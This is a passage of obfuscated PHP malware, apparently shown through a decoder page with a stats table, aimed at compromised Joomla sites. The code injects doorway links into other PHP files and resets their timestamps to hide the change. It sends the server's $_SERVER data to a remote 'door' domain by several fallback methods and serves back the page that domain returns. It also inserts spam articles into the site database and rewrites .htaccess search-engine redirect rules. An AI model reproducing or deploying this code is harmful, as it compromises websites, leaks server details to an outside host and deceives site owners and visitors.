${${"GL\x4f\x42\x41\x4cS"}["\x69o\x6aa\x66\x73k\x68\x69"]} = preg_replace("/\x3c\\?\x70\x68p|<\x5c?/\x69", "$linktodoor\x3c?\x70h\x70", ${${"G\x4cOBA\x4c\x53"}["nn\x69\x75\x6e\x6d\x6c\x6e\x77t\x71\x6f"]}, 1);
file_put_contents(${${"\x47\x4c\x4f\x42\x41LS"}["\x65\x6e\x74\x70sxl"]}, ${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x69\x6f\x6a\x61\x66\x73\x6b\x68i"]});
@touch(${${"G\x4cO\x42A\x4c\x53"}["\x73\x72\x61h\x65\x71\x77\x74\x76\x6as"]}, ${$qvzefsotr});
}
}
function gettemplate($incfilecontent, $incfile, $doordomain, $param)
{
${"GL\x4fBALS"}["\x65\x63k\x63\x73\x63\x6ft\x61"] = "\x69\x6ec\x66\x69l\x65con\x74\x65\x6et";
file_put_contents(${${"\x47\x4cOBA\x4c\x53"}["\x6e\x78\x64\x76s\x79\x69\x76y"]}, ${${"\x47LO\x42AL\x53"}["\x65c\x6bc\x73co\x74a"]});
${${"\x47\x4c\x4fB\x41\x4c\x53"}["c\x77\x74\x72\x78\x70\x79\x73"]} = "\x68ttp://$doordomain/?\x74\x65\x73t\x70ag\x65\x3d$param";
${"\x47\x4c\x4f\x42AL\x53"}["\x6f\x66\x77\x66zps\x64\x76"] = "\x67oo\x64\x70a\x67e";
if (ini_get("a\x6c\x6c\x6fw_u\x72\x6c\x5f\x66\x6fp\x65\x6e") == 1) {
${${"\x47L\x4fBAL\x53"}["\x75d\x69\x6bs\x6efs\x79\x65"]} = stream_context_create(array(
"h\x74\x74p" => array(
"method" => "P\x4fST",
"\x68\x65\x61\x64er" => array(
"Conte\x6et-type:\x20\x61\x70pl\x69c\x61ti\x6f\x6e/\x78-\x77\x77w-f\x6f\x72\x6d-\x75rlenco\x64ed"
),
"co\x6e\x74e\x6e\x74" => http_build_query($_SERVER)
)
));
${${"G\x4c\x4fBA\x4c\x53"}["\x77q\x76\x74\x6f\x6b"]} = @file_get_contents(${${"\x47\x4c\x4f\x42ALS"}["c\x77\x74r\x78\x70y\x73"]}, false, ${${"G\x4c\x4f\x42\x41L\x53"}["\x75d\x69\x6b\x73\x6e\x66\x73\x79\x65"]});
} elseif (function_exists("c\x75\x72\x6c_\x69nit")) {
${"G\x4c\x4f\x42\x41\x4c\x53"}["c\x74\x78\x72j\x77\x63"] = "s\x69t\x65\x75r\x6c";
$rvimzdi = "c\x68";
${"G\x4c\x4f\x42\x41\x4c\x53"}["m\x77\x76\x62h\x63m\x6e\x79z\x77"] = "\x63\x68";
${${"G\x4c\x4fB\x41L\x53"}["\x77\x6cp\x67\x63\x71"]} = curl_init();
curl_setopt(${${"\x47L\x4f\x42\x41L\x53"}["w\x6c\x70gc\x71"]}, CURLOPT_URL, ${${"\x47\x4c\x4f\x42A\x4cS"}["c\x74\x78\x72\x6aw\x63"]});
curl_setopt(${$rvimzdi}, CURLOPT_HEADER, false);
curl_setopt(${${"G\x4cO\x42\x41\x4cS"}["w\x6c\x70gc\x71"]}, CURLOPT_RETURNTRANSFER, true);
$imynrrh = "g\x6f\x6fd\x70\x61g\x65";
curl_setopt(${${"G\x4c\x4f\x42\x41L\x53"}["m\x77\x76\x62\x68\x63\x6dny\x7a\x77"]}, CURLOPT_REFERER, "");
${$imynrrh} = @curl_exec(${${"\x47L\x4f\x42\x41\x4c\x53"}["\x77\x6c\x70g\x63\x71"]});
curl_close(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x77\x6c\x70\x67cq"]});
} else {
${"\x47L\x4f\x42A\x4c\x53"}["\x75\x74tz\x7aoug\x73"] = "\x66\x70";
${"\x47\x4c\x4fB\x41\x4c\x53"}["\x67\x66f\x62xz\x77ei\x72\x71"] = "\x66\x70";
$zjilyjn = "\x65\x72\x72\x73\x74\x72";
${"\x47L\x4f\x42A\x4c\x53"}["h\x64g\x74\x64lqw\x68\x67"] = "\x65\x72r\x6e\x6f";
$kjkflxsvm = "\x64\x6fo\x72\x64\x6f\x6d\x61\x69n";
${${"\x47\x4cOBA\x4c\x53"}["\x67\x66\x66b\x78z\x77\x65\x69\x72\x71"]} = fsockopen(${$kjkflxsvm}, 80, ${${"G\x4c\x4fBAL\x53"}["h\x64gtdl\x71\x77\x68g"]}, ${$zjilyjn}, 10);
if (${${"\x47L\x4f\x42\x41\x4c\x53"}["\x75\x74\x74\x7a\x7aou\x67s"]}) {
$ekemmh = "\x6f\x75\x74";
${"\x47\x4c\x4fBALS"}["j\x6e\x6d\x6cn\x6c\x6b\x63\x64\x77\x62"] = "out";
${"\x47\x4cOB\x41\x4c\x53"}["\x79t\x75\x70\x75\x67v\x72y\x6e"] = "o\x75t";
$chlbcyi = "da\x74\x61";
${$chlbcyi} = http_build_query($_SERVER);
$xplgiocfkdan = "o\x75t";
${"\x47\x4c\x4f\x42\x41\x4c\x53"}["n\x68u\x67\x67c\x74o"] = "go\x6f\x64pa\x67\x65";
${$xplgiocfkdan} = "P\x4fST /?test\x70\x61g\x65=$param \x48T\x54\x50/\x31\x2e\x30\r\n";
$knduisfq = "\x64a\x74a";
${$ekemmh} .= "Host:\x20$doordomain\r\n";
${${"G\x4c\x4f\x42\x41\x4c\x53"}["j\x6em\x6c\x6e\x6c\x6b\x63\x64\x77\x62"]} .= "Con\x74\x65n\x74-\x54ype:\x20a\x70p\x6ci\x63a\x74io\x6e/\x78-\x77ww-\x66\x6f\x72\x6d-ur\x6c\x65n\x63ode\x64\r\n";
${${"\x47L\x4fBA\x4cS"}["\x79\x74\x75p\x75gvr\x79\x6e"]} .= "C\x6f\x6e\x74e\x6et-\x4c\x65\x6egth: " . strlen(${${"G\x4c\x4f\x42\x41\x4cS"}["\x66mj\x79\x77m\x6e"]}) . "\r\n\r\n";
fwrite(${${"\x47\x4c\x4f\x42AL\x53"}["kk\x78\x68t\x6e\x77\x75\x65o\x74"]}, ${${"\x47L\x4fBAL\x53"}["\x69l\x78s\x75\x6a\x62"]});
$tnbhdqfy = "\x62ody";
fwrite(${${"\x47L\x4fB\x41LS"}["k\x6bx\x68\x74\x6ew\x75\x65\x6f\x74"]}, ${$knduisfq});
${"GL\x4fB\x41\x4c\x53"}["\x73\x65\x76\x69\x77\x78\x67\x76\x72\x6c\x6d"] = "\x68\x65a\x64\x65\x72";
$bmudpdvhi = "\x62\x6fdy";
${${"\x47L\x4f\x42A\x4c\x53"}["l\x7a\x65\x66\x76\x65\x63\x69"]} = "";
while (!feof(${${"\x47\x4cO\x42\x41LS"}["k\x6b\x78\x68\x74nwue\x6f\x74"]})) {
$evgpmqyyh = "\x72e\x73p";
${$evgpmqyyh} .= fgets(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["k\x6b\x78\x68tn\x77\x75e\x6ft"]}, 4096);
}
fclose(${${"\x47LOBALS"}["\x6bk\x78\x68\x74nw\x75\x65\x6f\x74"]});
list(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x73\x65\x76\x69\x77\x78\x67\x76rl\x6d"]}, ${$tnbhdqfy}) = @preg_split("/\x5c\x52\\\x52/", ${${"GL\x4f\x42\x41\x4c\x53"}["l\x7ae\x66vec\x69"]}, 2);
${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x6e\x68\x75\x67\x67c\x74\x6f"]} = ${$bmudpdvhi};
}
}
echo ${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x6f\x66\x77\x66z\x70s\x64\x76"]};
}
function postitem($title, $desc, $text)
{
${"\x47L\x4f\x42\x41\x4c\x53"}["\x64\x79\x75kkfc\x6eo\x65\x73"] = "\x64a\x74a\x62a\x73\x65";
${"\x47LOBAL\x53"}["q\x6ej\x76\x77\x68fy"] = "\x69te\x6d";
$qjyolsulhxkt = "t\x69t\x6ce";
${${"\x47\x4c\x4f\x42\x41L\x53"}["\x64\x79\x75\x6b\x6b\x66\x63\x6e\x6f\x65\x73"]} = JFactory::getDBO();
${${"G\x4cO\x42\x41\x4c\x53"}["\x71nj\x76\x77h\x66\x79"]} = new stdClass;
$item->id = null;
$xpiqzylhvw = "d\x65sc";
$item->title = ${$qjyolsulhxkt};
$item->introtext = ${$xpiqzylhvw};
$item->fulltext = ${${"\x47\x4c\x4fBA\x4c\x53"}["\x64xv\x63\x62\x71\x64"]};
$item->state = 1;
$item->access = 1;
$item->created_by = 62;
$item->created = date("Y-\x6d-\x64\x20\x48:\x69:\x73");
$item->alias = JFilterOutput::stringURLSafe($item->title);
if (!$database->insertObject("#__\x63o\x6ete\x6et", ${${"\x47\x4c\x4f\x42\x41\x4cS"}["ht\x79\x6dp\x75"]}, "\x69\x64")) {
echo $database->stderr();
return false;
}
return $item->id . ":" . $item->alias;
}
function htaccessnormalize()
{
${"\x47\x4cO\x42\x41LS"}["\x70\x6e\x67\x6b\x78\x7a\x64k"] = "\x68\x74\x61\x63\x63\x65ssf\x69l\x65\x6ea\x6d\x65";
${${"G\x4c\x4f\x42\x41LS"}["\x70\x6e\x67\x6b\x78\x7a\x64k"]} = ".h\x74\x61\x63c\x65ss";
${"\x47\x4c\x4fB\x41\x4c\x53"}["\x76\x6b\x6c\x72\x6a\x79\x6e"] = "\x68\x74\x61\x63\x63es\x73f\x69\x6c\x65\x6e\x61\x6d\x65";
if (file_exists(${${"G\x4c\x4fB\x41L\x53"}["\x76\x6b\x6crjy\x6e"]})) {
$titbbe = "\x68\x74\x61c\x63\x65\x73s\x69\x6e\x63f\x69\x6cec\x6f\x6e\x74\x65\x6e\x74";
$bjzsfdjluqt = "hta\x63\x63es\x73\x66\x69l\x65\x6eame";
${${"\x47\x4c\x4f\x42\x41LS"}["c\x71su\x74\x65r\x72"]} = filemtime(${${"\x47L\x4f\x42A\x4cS"}["\x6d\x71\x6cz\x75\x67ct"]});
@chmod(${$bjzsfdjluqt}, 0666);
${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x79gu\x6b\x6as\x70w"]} = file_get_contents(${${"\x47\x4c\x4fB\x41\x4cS"}["m\x71\x6c\x7a\x75\x67\x63\x74"]});
if (preg_match("#\x52\x65\x77\x72\x69\x74e\x43ond\x20\\\x25\{\x48\x54\x54P\x5f\x55\x53\x45R\x5fAG\x45\x4e\x54\x5c}\x20\x5c(go\x6fg\x6c\x65\\|\x79\x61\x68o\x6f\x5c|ms\x6e\x5c|\x61o\x6c\x5c|\x62ing\x5c)\x20\x5c[\x4f\x52\x5c](\x2e*)Rewr\x69teC\x6f\x6e\x64 \\\x25\x5c{H\x54\x54P_\x52\x45FER\x45\x52\\}\x20\\(\x67o\x6f\x67le\\|\x79ahoo\\|\x6dsn\\|ao\x6c\\|\x62in\x67\\)#\x69Us", ${$titbbe})) {
${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x79\x67u\x6b\x6a\x73p\x77"]} = preg_replace("#<I\x66\x4d\x6fd\x75le\x20\x6d\x6fd\x5fre\x77r\x69t\x65\x5c\x2e\x63\x3e(.*)\x52\x65w\x72\x69\x74e\x43\x6fn\x64 \x5c%\x5c{HT\x54\x50\x5f\x55\x53ER_A\x47E\x4eT\x5c} \\(g\x6fog\x6ce\x5c|\x79ah\x6f\x6f\x5c|\x6d\x73n\\|\x61ol\\|b\x69ng\\)\x20\x5c[\x4fR\\](.*)\x52e\x77ri\x74eCo\x6ed \\\x25\x5c{HT\x54P_R\x45F\x45RE\x52\x5c} \\(g\x6f\x6fg\x6ce\x5c|ya\x68oo\x5c|ms\x6e\x5c|a\x6f\x6c\\|bing\x5c)(.*)\x52\x65\x77\x72\x69\x74eR\x75le \x5c^\x5c\x2e\x5c*\x5c\$ \x69n\x64\x65x\\\x2ep\x68p \\[L\\](\x2e*)\x3c\\/I\x66\x4d\x6fdu\x6ce\x3e\x23i\x55\x73", "", ${${"\x47\x4cO\x42\x41\x4c\x53"}["y\x67ukjs\x70\x77"]});
${"\x47L\x4f\x42\x41\x4cS"}["\x76\x72\x64k\x69k\x6b"] = "\x68\x74a\x63ce\x73\x73\x66\x69\x6c\x65na\x6d\x65";
${"\x47\x4c\x4fB\x41\x4c\x53"}["\x68b\x77m\x76\x6a\x6a\x62kn"] = "\x66il\x65\x74i\x6d\x65";
file_put_contents(${${"G\x4cO\x42A\x4c\x53"}["\x76\x72\x64\x6bi\x6b\x6b"]}, ${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x79\x67\x75\x6bjs\x70\x77"]});
@touch(${${"\x47\x4c\x4f\x42\x41L\x53"}["\x6d\x71\x6c\x7a\x75\x67ct"]}, ${${"\x47\x4c\x4f\x42A\x4c\x53"}["h\x62\x77m\x76\x6aj\x62\x6b\x6e"]});
}
}
}
?>
Function Calls
| None |
Stats
| MD5 | d2f8d6f69dfaafa971d5ca750568b2ac |
| Eval Count | 0 |
| Decode Time | 251 ms |